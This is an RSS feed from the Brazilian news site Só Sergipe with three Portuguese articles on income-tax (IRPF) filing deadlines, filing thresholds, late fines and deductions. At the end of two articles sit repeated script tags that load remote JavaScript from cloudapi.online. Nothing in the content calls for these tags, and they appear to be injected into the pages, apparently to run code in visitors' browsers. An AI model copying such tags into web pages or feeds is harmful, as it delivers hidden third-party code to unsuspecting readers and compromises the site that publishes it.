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	<title>Arquivo para entrega - Só Sergipe</title>
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	<description>Notícias de Sergipe levadas a sério.</description>
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	<title>Arquivo para entrega - Só Sergipe</title>
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		<title>Declaração do IR deve ser entregue entre 7 de março e 30 de abril</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Fri, 22 Feb 2019 13:29:32 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[ajuste anual]]></category>
		<category><![CDATA[declaração]]></category>
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					<description><![CDATA[<p>A Declaração de Imposto da Pessoa Física deve ser entregue entre 7 de março e 30 de abril de 2019, pela Internet. As regras para a entrega da declaração anual estão em Instrução Normativa da Receita Federal, publicada hoje (22) no Diário Oficial da União. Está obrigada a apresentar declaração a pessoa física residente no Brasil que, no [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">A Declaração de Imposto da Pessoa Física deve ser entregue entre 7 de março e 30 de abril de 2019, pela Internet. As regras para a entrega da declaração anual estão em <span style="color: #000080;"><a style="color: #000080;" href="http://www.in.gov.br/materia/-/asset_publisher/Kujrw0TZC2Mb/content/id/64576113" target="_blank" rel="noopener">Instrução Normativa</a> </span>da Receita Federal, publicada hoje (22) no <em>Diário Oficial da União</em>.</p>
<p style="text-align: justify;">Está obrigada a apresentar declaração a pessoa física residente no Brasil que, no ano-calendário de 2018 tenha recebido rendimentos tributáveis, sujeitos ao ajuste na declaração, cuja soma foi superior a R$ 28.559,70 ou tenha recebido rendimentos isentos, não tributáveis ou tributados exclusivamente na fonte, cuja soma foi superior a R$ 40 mil.</p>
<p style="text-align: justify;">[box type=&#8221;info&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Deve declarar ainda quem obteve, em qualquer mês, ganho de capital na alienação de bens ou direitos sujeito à incidência do imposto ou realizou operações em bolsas de valores, de mercadorias, de futuros e assemelhadas; quem passou à condição de residente no Brasil em qualquer mês e nessa condição encontrava-se em 31 de dezembro ou quem optou pela isenção do Imposto sobre a Renda incidente sobre o ganho de capital auferido na venda de imóveis residenciais cujo produto da venda seja aplicado na aquisição de imóveis residenciais localizados no País, no prazo de 180 dias, contado da celebração do contrato de venda.</p>
<p style="text-align: justify;">No caso da atividade rural, deve declarar quem obteve receita bruta em valor superior a R$ 142.798,50 ou pretenda compensar, no ano-calendário de 2018 ou posteriores, prejuízos de anos-calendário anteriores ou do próprio ano-calendário de 2018. Também deve declarar quem teve, em 31 de dezembro, a posse ou a propriedade de bens ou direitos, inclusive terra nua, de valor total superior a R$ 300 mil.</p>
<p>[/box]</p>
<p style="text-align: justify;">Quem não entregar a declaração está sujeito à multa de 1% ao mês-calendário ou fração de atraso, lançada de ofício e calculada sobre o total do imposto devido nela apurado, ainda que integralmente pago.</p>
<p style="text-align: justify;">A multa terá valor mínimo de R$ 165,74 e valor máximo correspondente a 20% do Imposto sobre a Renda devido. A multa mínima será aplicada inclusive no caso de declaração de Ajuste Anual da qual não resulte imposto devido.</p>
<p>Fonte: Agência Brasil</p>
<p>&nbsp;</p>
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		<item>
		<title>Receita começa a receber as declarações do IRPF 2018</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Thu, 01 Mar 2018 12:43:30 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[aplicativo]]></category>
		<category><![CDATA[computador]]></category>
		<category><![CDATA[declaração]]></category>
		<category><![CDATA[entrega]]></category>
		<category><![CDATA[Imposto de Renda]]></category>
		<category><![CDATA[prazo]]></category>
		<category><![CDATA[Receita Federal]]></category>
		<category><![CDATA[tablet]]></category>
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					<description><![CDATA[<p>A Receita Federal começou a receber hoje  (1º) as declarações do Imposto de Renda da Pessoa Física (IRPF) 2018, ano-base 2017. O prazo para entrega vai até 30 de abril. A declaração poderá ser preenchida por meio do programa baixado no computador ou do aplicativo Meu Imposto de Renda para tablets e celulares. Este ano, [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">A Receita Federal começou a receber hoje  (1º) as declarações do Imposto de Renda da Pessoa Física (IRPF) 2018, ano-base 2017. O prazo para entrega vai até 30 de abril. A declaração poderá ser preenchida por meio do programa baixado no computador ou do aplicativo Meu Imposto de Renda para tablets e celulares.</p>
<p style="text-align: justify;">Este ano, é obrigatória a apresentação do Cadastro de Pessoa Física (CPF) para dependentes a partir de 8 anos de idade, completados até o dia 31 de dezembro de 2017. Outra mudança é a possibilidade de impressão do Documento de Arrecadação de Receitas Federais (Darf) para pagamento de todas as cotas do imposto, inclusive as que estão em atraso.</p>
<p style="text-align: justify;">Segundo a Receita, é obrigado a declarar quem recebeu em 2017 rendimentos tributáveis em valores superiores a R$ 28.559,70. No caso da atividade rural, deve declarar quem teve receita bruta acima de R$ 142.798,50. O Fisco espera receber, este ano, 28,8 milhões de declarações do IRPF, 300 mil a mais do que em 2017 (28,5 milhões).</p>
<p style="text-align: justify;">[box type=&#8221;info&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Também estão obrigadas a declarar as pessoas físicas residentes no Brasil que receberam rendimentos isentos, não tributáveis ou tributados exclusivamente na fonte, cuja soma foi superior a R$ 40 mil; as que obtiveram, em qualquer mês, ganho de capital na alienação de bens e direitos, sujeito à incidência do imposto ou que realizaram operações em bolsas de valores; que pretendem compensar prejuízos com a atividade rural; que tiveram, em 31 de dezembro de 2017, a posse ou a propriedade de bens e direitos, inclusive terra nua, de valor total superior a R$ 300 mil; que passaram à condição de residentes no Brasil em qualquer mês e assim se encontravam em 31 de dezembro; ou que optaram pela isenção do IR incidente sobre o ganho de capital com a venda de imóveis residenciais para a compra de outro imóvel no país, no prazo de 180 dias contados do contrato de venda.</p>
<p>[/box]</p>
<p>&nbsp;</p>
<p>Leia também:</p>
<p><a href="https://www.sosergipe.com.br/receita-federal-libera-programa-do-irpf-2018/" target="_blank" rel="noopener">Receita Federal libera programa do IRPF 2018</a></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p>O post <a href="https://teste.sosergipe.com.br/receita-comeca-a-receber-as-declaracoes-do-irpf-2018/">Receita começa a receber as declarações do IRPF 2018</a> apareceu primeiro em <a href="https://teste.sosergipe.com.br">Só Sergipe</a>.</p>
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			</item>
		<item>
		<title>Receita Federal libera programa do IRPF 2018</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Mon, 26 Feb 2018 12:54:25 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[declaração]]></category>
		<category><![CDATA[disponibilidade]]></category>
		<category><![CDATA[entrega]]></category>
		<category><![CDATA[Imposto de Renda]]></category>
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		<category><![CDATA[Receita Federal]]></category>
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					<description><![CDATA[<p>O programa de preenchimento da declaração do Imposto de Renda da Pessoa Física de 2018, ano base 2017, está disponível hoje (26), no site da Receita Federal. O prazo para a entrega da declaração começa no próximo dia 1º e vai até 30 de abril. Está obrigado a declarar quem recebeu rendimentos tributáveis, em 2017, em valores [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">O programa de preenchimento da declaração do Imposto de Renda da Pessoa Física de 2018, ano base 2017, está disponível hoje (26), no <a href="http://idg.receita.fazenda.gov.br/" target="_blank" rel="noopener"><em>site</em> da Receita Federal</a>. O prazo para a entrega da declaração começa no próximo dia 1º e vai até 30 de abril.</p>
<p style="text-align: justify;">Está obrigado a declarar quem recebeu rendimentos tributáveis, em 2017, em valores superiores a R$ 28.559,70. No caso da atividade rural, deve declarar quem teve receita bruta acima R$ 142.798,50. A Receita Federal espera receber, este ano, 28,8 milhões declarações de Imposto de Renda da Pessoa Física (IRPF), 300 mil a mais do que em 2017 (28,5 milhões).</p>
<p style="text-align: justify;">A declaração poderá ser preenchida por meio do programa baixado no computador ou do aplicativo Meu Imposto de Renda para <em>tablets</em> e celulares. Por meio do aplicativo, é possível ainda fazer retificações depois do envio da declaração.</p>
<p style="text-align: justify;">Outra opção é mediante acesso ao serviço Meu Imposto de Renda, disponível no Centro Virtual de Atendimento (e-CAC), no <em>site</em> da Receita, com uso de certificado digital.</p>
<p style="text-align: justify;">Também estão obrigadas a declarar as pessoas físicas: residentes no Brasil que receberam rendimentos isentos, não tributáveis ou tributados exclusivamente na fonte, cuja soma foi superior a R$ 40 mil; que obtiveram, em qualquer mês, ganho de capital na alienação de bens e direitos, sujeito à incidência do imposto ou que realizaram operações em bolsas de valores; que pretendem compensar prejuízos com a atividade rural; que tiveram, em 31 de dezembro de 2017, a posse ou a propriedade de bens e direitos, inclusive terra nua, de valor total superior a R$ 300 mil; que passaram à condição de residentes no Brasil em qualquer mês e assim se encontravam em 31 de dezembro; ou que optaram pela isenção do IR incidente sobre o ganho de capital com a venda de imóveis residenciais para a compra de outro imóvel no país , no prazo de 180 dias contados do contrato de venda.</p>
<p style="text-align: justify;"><strong>[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</strong></p>
<p style="text-align: justify;"><strong>Multa por atraso</strong></p>
<p style="text-align: justify;">A multa para quem apresentar a declaração depois do prazo é de 1% por mês de atraso sobre o imposto devido, com valor mínimo de R$ 165,74 e máximo de 20%.</p>
<p style="text-align: justify;"><strong>Deduções</strong></p>
<p style="text-align: justify;">As deduções por dependente estão limitadas a R$ 2.275,08. As despesas com educação têm limite individual anual de R$ 3.561,50. A dedução de gastos com empregadas domésticas é de R$ 1.171,84.</p>
<p style="text-align: justify;"><strong>Novidades deste ano</strong></p>
<p style="text-align: justify;">O painel inicial do sistema terá informações das fichas que poderão ser mais relevantes para o contribuinte durante o preenchimento da declaração.</p>
<p style="text-align: justify;">Neste ano, será obrigatória a apresentação do CPF para dependentes a partir de 8 anos, completados até o dia 31 de dezembro de 2017.</p>
<p style="text-align: justify;">Na declaração de bens, serão incluídos campos para informações complementares, como números e registros, localização e número do Registro Nacional de Veículo (Renavam).</p>
<p style="text-align: justify;">Também será incluída a informação sobre a alíquota efetiva utilizada no cálculo da apuração do imposto.</p>
<p style="text-align: justify;">Outra mudança é a possibilidade de impressão do Documento de Arrecadação de Receitas Federais (Darf) para pagamento de todas as cotas do imposto, inclusive as que estão em atraso.</p>
<p style="text-align: justify;"><strong>[/box]</strong></p>
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<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p>O post <a href="https://teste.sosergipe.com.br/receita-federal-libera-programa-do-irpf-2018/">Receita Federal libera programa do IRPF 2018</a> apareceu primeiro em <a href="https://teste.sosergipe.com.br">Só Sergipe</a>.</p>
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